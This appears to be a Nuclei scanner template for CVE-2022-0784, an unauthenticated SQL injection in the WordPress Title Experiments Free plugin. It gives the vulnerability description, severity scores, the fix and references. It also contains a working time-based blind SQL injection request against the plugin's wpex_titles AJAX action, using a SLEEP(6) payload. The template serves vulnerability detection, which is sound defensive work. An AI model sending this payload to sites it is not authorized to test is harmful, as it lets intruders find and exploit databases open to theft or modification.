WordPress Title Experiments Free <9.0.1 - SQL Injection

id: CVE-2022-0784

info:
  name: WordPress Title Experiments Free <9.0.1 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Title Experiments Free plugin before 9.0.1 contains a SQL injection vulnerability. The plugin does not sanitize and escape the id parameter before using it in a SQL statement via the wpex_titles AJAX action, available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  remediation: |
    Update to the latest version of WordPress Title Experiments Free plugin (9.0.1 or higher) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6672b59f-14bc-4a22-9e0b-fcab4e01d97f
    - https://wordpress.org/plugins/wp-experiments-free/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0784
    - https://github.com/cyllective/CVEs
    - https://github.com/superlink996/chunqiuyunjingbachang
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0784
    cwe-id: CWE-89
    epss-score: 0.04043
    epss-percentile: 0.91894
    cpe: cpe:2.3:a:title_experiments_free_project:title_experiments_free:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: title_experiments_free_project
    product: title_experiments_free
    framework: wordpress
  tags: cve2022,cve,wpscan,wp-plugin,wp,sqli,wp-experiments-free,unauth,wordpress,title_experiments_free_project

http:
  - raw:
      - |
        @timeout: 10s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpex_titles&id[]=1 AND (SELECT 321 FROM (SELECT(SLEEP(6)))je)

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "{\"images\":")'
        condition: and
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